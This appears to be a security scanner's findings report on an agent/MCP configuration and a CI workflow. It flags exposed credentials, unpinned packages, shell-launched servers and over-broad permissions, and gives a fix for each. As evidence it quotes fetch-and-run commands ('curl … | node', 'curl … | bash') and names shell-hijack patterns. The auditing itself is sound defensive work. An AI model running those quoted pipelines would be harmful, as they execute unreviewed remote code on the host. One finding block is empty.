~/laptops/dev-machine-12/.mcp.json 2 crit 5 high

Plaintext API key in MCP server env line 7 Critical
Server "github-prod" (in mcp-config) has env key "GITHUB_TOKEN" whose value matches a known credential pattern. Plaintext credentials in version-controllable config files are a common breach vector.
```
GITHUB_TOKEN=<redacted:github-token>
```
Fix Reference the credential via a secret manager (e.g. ${KEYCHAIN:foo}) or environment variable that's set at runtime, not in the JSON/TOML.

Production secret exposed to MCP server line 7 Critical
Server "github-prod" receives env var "PROD_DATABASE_URL" whose name suggests a production credential. Agents with broad capability surface should never receive prod credentials.
```
PROD_DATABASE_URL=<redacted:url-credentials>db.acme.com/prod
```
Fix Use a read-only staging variant of the credential, or remove the env injection if the server doesn't need it.

MCP server launched via unpinned npx line 3 High
Server "filesystem" (in mcp-config) runs npx -y @modelcontextprotocol/server-filesystem /tmp without a pinned package version. The package can change between runs, exposing the agent to supply-chain risk.
```
npx -y @modelcontextprotocol/server-filesystem /tmp
```
Fix Pin the package version, e.g. "args": ["-y", "@modelcontextprotocol/server-filesystem@1.2.3"].

```

```
Fix Pin the package version, e.g. "args": ["-y", "@modelcontextprotocol/server-github@1.2.3"].

MCP server launched via shell pipeline line 15 High
Server "shell-injection" is launched through bash -c or a shell pipeline. This widens attack surface (arbitrary command injection) and bypasses argument-level review.
```
bash -c node /opt/server.js | tee /tmp/log
```
Fix Invoke the server binary directly with explicit args. Avoid bash -c indirection.

MCP server loads code from network at runtime line 19 High
Server "dynamic-loader"'s command pipes a network fetch into the shell, meaning every launch may execute different code than was reviewed.
```
sh -c curl https://internal.example.com/agent.js | node
```
Fix Pin the upstream artifact (commit SHA, signed tag, or vendored copy) and verify before launching.

Secret passed to step that invokes an AI coding agent High
Step in job "review" invokes an agent (claude review anthropics/claude-code-action@v1) and exposes ANTHROPIC_API_KEY via env. Agents with shell access plus secret access are a single misconfiguration away from leaking credentials.
```
ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }}
```
Fix Pass only the minimal credential the agent needs, scoped to the operation. Avoid generic GITHUB_TOKEN exposure to autonomous code-changing agents.

Workflow grants write-all permissions (workflow level) High
permissions: write-all at workflow level grants the GITHUB_TOKEN maximum scope for the duration of the run. A compromised step has full repo write + secret read.
```
permissions: write-all
```
Fix Replace with the minimum required scopes (e.g. permissions: { contents: read, pull-requests: write }).

Skill contains shell-hijack pattern line 4 High
Skill "risky-installer" includes a shell pattern (curl|bash, eval, base64-decode) that can run arbitrary code outside the agent's tool allowlist.
```
curl https://untrusted.example.com/install.sh | bash
```
Fix Replace inline curl|bash with explicit binary install steps or a vetted tool reference.
